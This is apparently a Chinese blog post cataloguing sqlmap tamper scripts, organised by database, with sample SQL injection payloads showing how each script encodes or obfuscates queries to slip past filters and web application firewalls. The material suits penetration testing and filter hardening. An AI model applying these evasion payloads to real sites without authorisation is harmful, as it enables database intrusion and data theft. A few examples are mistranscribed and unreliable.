sqlmap绕过过滤的tamper脚本分类汇总

「爱情、让人受尽委屈。」 2022-05-10 13:50 751阅读 0赞

## 1、工具介绍 ##

sqlmap是一个自动化的SQL注入工具，其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。

目前支持的数据库是MSSQL、MYSQL、ORACLE以及POSTGRESQL。

SQLMAP采用四种独特的SQL注入技术，分别是盲注、UNION查询注入、堆查询、基于时间的SQL盲注。

其广泛的功能和选项包括数据库指纹，枚举，数据库提取，访问目标文件系统，并在获取完全操作权限时实行任意命令。

在许多情况下你可以通过使用sqlmap工具中的tamper脚本来对目标进行更高效的攻击。

## 2、工具脚本汇总 ##

本文旨在介绍sqlmap中的tamper插件。

<table> 
 <tbody> 
 <tr> 
 <td colspan="4">sqlmap绕过过滤的tamper脚本分类汇总</td> 
 </tr> 
 <tr> 
 <td>支持的数据库</td> 
 <td>脚本名称</td> 
 <td>作用</td> 
 <td>实现方式</td> 
 </tr> 
 <tr> 
 <td>ALL</td> 
 <td>apostrophemask.py</td> 
 <td>用utf8代替引号</td> 
 <td>(“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’</td> 
 </tr> 
 <tr> 
 <td>base64encode.py</td> 
 <td>用base64编码替换</td> 
 <td>(“1′ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’</td> 
 </tr> 
 <tr> 
 <td>multiplespaces.py</td> 
 <td>围绕SQL关键字添加多个空格</td> 
 <td>(‘1 UNION SELECT foobar’) ‘1&nbsp;&nbsp;&nbsp; UNION&nbsp;&nbsp;&nbsp;&nbsp; SELECT&nbsp;&nbsp; foobar’</td> 
 </tr> 
 <tr> 
 <td>space2plus.py</td> 
 <td>用+替换空格</td> 
 <td>(‘SELECT id FROM users’) ‘SELECT+id+FROM+users’</td> 
 </tr> 
 <tr> 
 <td>nonrecursivereplacement.py</td> 
 <td>双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如&nbsp; .replace（“SELECT”、””)） filters</td> 
 <td>(‘1 UNION SELECT 2–‘) ‘1 UNIOUNIONN SELESELECTCT 2–‘</td> 
 </tr> 
 <tr> 
 <td>space2randomblank.py</td> 
 <td>代替空格字符（“”）从一个随机的空 白字符可选字符的有效集</td> 
 <td>(‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’</td> 
 </tr> 
 <tr> 
 <td>unionalltounion.py</td> 
 <td>替换UNION ALL SELECT UNION SELECT</td> 
 <td>(‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’</td> 
 </tr> 
 <tr> 
 <td>securesphere.py</td> 
 <td>追加特制的字符串</td> 
 <td>(‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having'”</td> 
 </tr> 
 <tr> 
 <td>MSSQL</td> 
 <td>space2hash.py</td> 
 <td>绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）</td> 
 <td>‘1 AND 9227=9227’ ‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’</td> 
 </tr> 
 <tr> 
 <td>equaltolike.py</td> 
 <td>like 代替等号</td> 
 <td>* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1</td> 
 </tr> 
 <tr> 
 <td>space2mssqlblank.py(mssql)</td> 
 <td>空格替换为其它空符号</td> 
 <td>Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers</td> 
 </tr> 
 <tr> 
 <td>space2mssqlhash.py</td> 
 <td>替换空格</td> 
 <td>(‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’</td> 
 </tr> 
 <tr> 
 <td>between.py</td> 
 <td>用between替换大于号（&gt;）</td> 
 <td>(‘1 AND A &gt; B–‘) ‘1 AND A NOT BETWEEN 0 AND B–‘</td> 
 </tr> 
 <tr> 
 <td>percentage.py</td> 
 <td>asp允许每个字符前面添加一个%号</td> 
 <td>* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E</td> 
 </tr> 
 <tr> 
 <td>sp_password.py</td> 
 <td>追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾</td> 
 <td>(‘1 AND 9227=9227– ‘) ‘1 AND 9227=9227– sp_password’</td> 
 </tr> 
 <tr> 
 <td>charencode.py</td> 
 <td>url编码</td> 
 <td>* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45</td> 
 </tr> 
 <tr> 
 <td>randomcase.py</td> 
 <td>随机大小写</td> 
 <td>* Input: INSERT * Output: InsERt</td> 
 </tr> 
 <tr> 
 <td>charunicodeencode.py</td> 
 <td>字符串 unicode 编码</td> 
 <td>* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′</td> 
 </tr> 
 <tr> 
 <td>space2comment.py</td> 
 <td>Replaces space character (‘ ‘) with comments ‘/**/’</td> 
 <td>* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users</td> 
 </tr> 
 <tr> 
 <td>MYSQL</td> 
 <td>equaltolike.py</td> 
 <td>like 代替等号</td> 
 <td>* Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1</td> 
 </tr> 
 <tr> 
 <td>greatest.py</td> 
 <td>绕过过滤’&gt;’ ,用GREATEST替换大于号。</td> 
 <td>(‘1 AND A &gt; B’) ‘1 AND GREATEST(A,B+1)=A’</td> 
 </tr> 
 <tr> 
 <td>apostrophenullencode.py</td> 
 <td>绕过过滤双引号，替换字符和双引号。</td> 
 <td>tamper(“1 AND ‘1’=’1”) &nbsp; ‘1 AND %00%271%00%27=%00%271’ </td> 
 </tr> 
 <tr> 
 <td>ifnull2ifisnull.py</td> 
 <td>绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’</td> 
 <td>(‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’</td> 
 </tr> 
 <tr> 
 <td>space2mssqlhash.py</td> 
 <td>替换空格</td> 
 <td>(‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’</td> 
 </tr> 
 <tr> 
 <td>modsecurityversioned.py</td> 
 <td>过滤空格，包含完整的查询版本注释</td> 
 <td>(‘1 AND 2&gt;1–‘) ‘1 /*!30874AND 2&gt;1*/–‘</td> 
 </tr> 
 <tr> 
 <td>space2mysqlblank.py</td> 
 <td>空格替换其它空白符号(mysql)</td> 
 <td>Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users</td> 
 </tr> 
 <tr> 
 <td>between.py</td> 
 <td>用between替换大于号（&gt;）</td> 
 <td>(‘1 AND A &gt; B–‘) ‘1 AND A NOT BETWEEN 0 AND B–‘</td> 
 </tr> 
 <tr> 
 <td>modsecurityzeroversioned.py</td> 
 <td>包含了完整的查询与零版本注释</td> 
 <td>(‘1 AND 2&gt;1–‘) ‘1 /*!00000AND 2&gt;1*/–‘</td> 
 </tr> 
 <tr> 
 <td>space2mysqldash.py</td> 
 <td>替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）</td> 
 <td>(‘1 AND 9227=9227’) ‘1–%0AAND–%0A9227=9227’</td> 
 </tr> 
 <tr> 
 <td>bluecoat.py</td> 
 <td>代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like</td> 
 <td>(‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’</td> 
 </tr> 
 <tr> 
 <td>percentage.py</td> 
 <td>asp允许每个字符前面添加一个%号</td> 
 <td>* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E</td> 
 </tr> 
 <tr> 
 <td>charencode.py</td> 
 <td>url编码</td> 
 <td>* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45</td> 
 </tr> 
 <tr> 
 <td>randomcase.py</td> 
 <td>随机大小写</td> 
 <td>* Input: INSERT * Output: InsERt</td> 
 </tr> 
 <tr> 
 <td>versionedkeywords.py</td> 
 <td>Encloses each non-function keyword with versioned MySQL comment</td> 
 <td>* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#</td> 
 </tr> 
 <tr> 
 <td>space2comment.py</td> 
 <td>Replaces space character (‘ ‘) with comments ‘/**/’</td> 
 <td>* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users</td> 
 </tr> 
 <tr> 
 <td>charunicodeencode.py</td> 
 <td>字符串 unicode 编码</td> 
 <td>* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′</td> 
 </tr> 
 <tr> 
 <td>versionedmorekeywords.py</td> 
 <td>注释绕过</td> 
 <td>* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#</td> 
 </tr> 
 <tr> 
 <td>* MySQL &lt; 5.1</td> 
 <td>halfversionedmorekeywords.py</td> 
 <td>关键字前加注释</td> 
 <td>* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa</td> 
 </tr> 
 <tr> 
 <td>halfversionedmorekeywords.py</td> 
 <td>当数据库为mysql时绕过防火墙，每个关键字之前添加 mysql版本评论</td> 
 <td>1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”) 2.”value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’=’QDWa”</td> 
 </tr> 
 <tr> 
 <td>MySQL &gt;= 5.1.13</td> 
 <td>space2morehash.py</td> 
 <td>空格替换为 #号 以及更多随机字符串 换行符</td> 
 <td>* Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227</td> 
 </tr> 
 <tr> 
 <td>&nbsp;Oracle</td> 
 <td>greatest.py</td> 
 <td>绕过过滤’&gt;’ ,用GREATEST替换大于号。</td> 
 <td>(‘1 AND A &gt; B’) ‘1 AND GREATEST(A,B+1)=A’</td> 
 </tr> 
 <tr> 
 <td>apostrophenullencode.py</td> 
 <td>绕过过滤双引号，替换字符和双引号。</td> 
 <td>tamper(“1 AND ‘1’=’1”) &nbsp; ‘1 AND %00%271%00%27=%00%271’ </td> 
 </tr> 
 <tr> 
 <td>between.py</td> 
 <td>用between替换大于号（&gt;）</td> 
 <td>(‘1 AND A &gt; B–‘) ‘1 AND A NOT BETWEEN 0 AND B–‘</td> 
 </tr> 
 <tr> 
 <td>charencode.py</td> 
 <td>url编码</td> 
 <td>* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45</td> 
 </tr> 
 <tr> 
 <td>randomcase.py</td> 
 <td>随机大小写</td> 
 <td>* Input: INSERT * Output: InsERt</td> 
 </tr> 
 <tr> 
 <td>charunicodeencode.py</td> 
 <td>字符串 unicode 编码</td> 
 <td>* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′</td> 
 </tr> 
 <tr> 
 <td>space2comment.py</td> 
 <td>Replaces space character (‘ ‘) with comments ‘/**/’</td> 
 <td>* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users</td> 
 </tr> 
 <tr> 
 <td>&nbsp;PostgreSQL</td> 
 <td>greatest.py</td> 
 <td>绕过过滤’&gt;’ ,用GREATEST替换大于号。</td> 
 <td>(‘1 AND A &gt; B’) ‘1 AND GREATEST(A,B+1)=A’</td> 
 </tr> 
 <tr> 
 <td>apostrophenullencode.py</td> 
 <td>绕过过滤双引号，替换字符和双引号。</td> 
 <td>tamper(“1 AND ‘1’=’1”) &nbsp; ‘1 AND %00%271%00%27=%00%271’ </td> 
 </tr> 
 <tr> 
 <td>between.py</td> 
 <td>用between替换大于号（&gt;）</td> 
 <td>(‘1 AND A &gt; B–‘) ‘1 AND A NOT BETWEEN 0 AND B–‘</td> 
 </tr> 
 <tr> 
 <td>percentage.py</td> 
 <td>asp允许每个字符前面添加一个%号</td> 
 <td>* Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E</td> 
 </tr> 
 <tr> 
 <td>charencode.py</td> 
 <td>url编码</td> 
 <td>* Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45</td> 
 </tr> 
 <tr> 
 <td>randomcase.py</td> 
 <td>随机大小写</td> 
 <td>* Input: INSERT * Output: InsERt</td> 
 </tr> 
 <tr> 
 <td>charunicodeencode.py</td> 
 <td>字符串 unicode 编码</td> 
 <td>* Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′</td> 
 </tr> 
 <tr> 
 <td>space2comment.py</td> 
 <td>Replaces space character (‘ ‘) with comments ‘/**/’</td> 
 <td>* Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users</td> 
 </tr> 
 <tr> 
 <td>Microsoft Access</td> 
 <td>appendnullbyte.py</td> 
 <td>在有效负荷结束位置加载零字节字符编码</td> 
 <td>(‘1 AND 1=1’) ‘1 AND 1=1%00’</td> 
 </tr> 
 <tr> 
 <td>其他</td> 
 <td>chardoubleencode.py</td> 
 <td>双url编码(不处理以编码的)</td> 
 <td>* Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545</td> 
 </tr> 
 <tr> 
 <td>unmagicquotes.py</td> 
 <td>宽字符绕过 GPC&nbsp; addslashes</td> 
 <td>* Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20</td> 
 </tr> 
 <tr> 
 <td>randomcomments.py</td> 
 <td>用/**/分割sql关键字</td> 
 <td>‘INSERT’ becomes ‘IN//S//ERT’</td> 
 </tr> 
 </tbody> 
</table>